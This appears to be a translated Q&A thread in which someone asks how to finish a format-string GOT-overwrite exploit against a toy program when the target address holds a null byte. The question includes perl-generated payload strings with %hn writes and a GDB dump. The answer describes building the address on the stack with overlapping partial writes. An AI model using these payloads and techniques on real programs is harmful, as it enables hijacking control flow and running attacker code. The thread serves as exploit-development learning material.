4

我正在尝试执行返回 libc 格式字符串攻击,但是我要写入的地址(0x0804a000)中有一个空字节!我必须在我的格式字符串中读取 snprintf 以便空字节导致它发生故障并随机出现 Segfaults。

buf[70];
snprintf(buf, 80, argv[1]);
printf(buf);

这是 printf@plt 的 GDB 转储:

(gdb) disassem 0x080483c0
Dump of assembler code for function printf@plt:
0x080483c0 <+0>:    jmp    *0x804a000
0x080483c6 <+6>:    push   $0x0
0x080483cb <+11>:   jmp    0x80483b0
End of assembler dump.

有没有人有任何想法?

我目前的方法是这样运行的

./program `perl -e 'print "sh;#\x00\xa0\x04\x08%12345x%10$hn"'`

但有一个空字节。我也试过

./program `perl -e 'print "sh;#\xff\x9f\x04\x08\x00\xa0\x04\x08%12345x%10$hn%12345x%11$hn"'`

但是之前的地址0x0804a000有全局偏移表,因此在返回调用它的函数之前,snprintf Segfaults。

4

1 回答 1

3

一种常见的方法是使用堆栈进行一些“内存构造”。

在构造结束时,您需要在堆栈上的某个位置(让我们称该位置n并假设它对应于第五个参数):

00 a0 04 08

假设您可以先将 0x01(或任何您喜欢的,我们只对空字节感兴趣)写入n-1。位置n的内存将如下所示:

00?? ?? ??

然后将0x04a0写入n+1,因此位置n的内存如下所示:

00 a0 04 ??

最后一步是将0xff08写入n+3

完成后,您可以使用直接参数访问来获取您的地址并在指定的位置写入一个值。

%12345x%5$n

您所要做的就是使用$hn$n并找到一种方法来重叠适合您的数据。我希望你能明白。

于 2013-05-21T22:37:12.230 回答